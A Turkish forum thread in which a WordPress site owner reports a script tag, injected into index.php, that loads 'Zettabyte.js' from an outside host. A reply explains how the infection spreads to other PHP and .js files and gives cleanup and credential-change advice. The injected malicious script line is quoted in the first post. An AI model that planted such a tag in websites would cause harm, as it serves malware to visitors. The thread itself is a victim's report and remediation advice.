Merhaba sitelerime wordpresslere sadece index.php altına aşağıdaki kodu ekliyor. Sitelere FTP ile bağlanmadım. Daha önce karşılaşan var mı ?
<script type="text/javascript" src="http://earth.rajbasso.com:8080/Zettabyte.js"></script>
<!--f2e420609e8ffdd71922b8d6393490cc-->
Bu kodları sildim. Şimdide siteme girince AVAST
Win32:Malware-gen
VBS:Malware-gen
virüs uyarısı verdi. Ve sitemin java çalıştırmaya çalıştığını söyledi.
bu virüs sadece index.php dosyasına bulaşmaz çok dikkatli olmalısın
index.php ve türevleri yani indexasasfas.php
home.php ve türevleri
main.php ve türevleri
....
aynı zamanda sitedeki bütün .js dosyalara ve yukarıdaki adların .html ve bütün kodlama dillerindeki uzantılarına bulaşır.
sitedeki bütün zararlı kodları temizlemedikten sonra ne yaparsan yap tekrar tekrar kendi üzerinden siteye bulaşacaktır.
bütün dosyaları tek tek açıp aratın bulduklarınızı silin.
tabi bu işlemi temiz virüssüz bir bilgisayarda yapın
ardından da ftp programınızı değiştirin ve ftp bilgilerinizi değiştirin
dosyaları sunucuya atın ve rahat edin
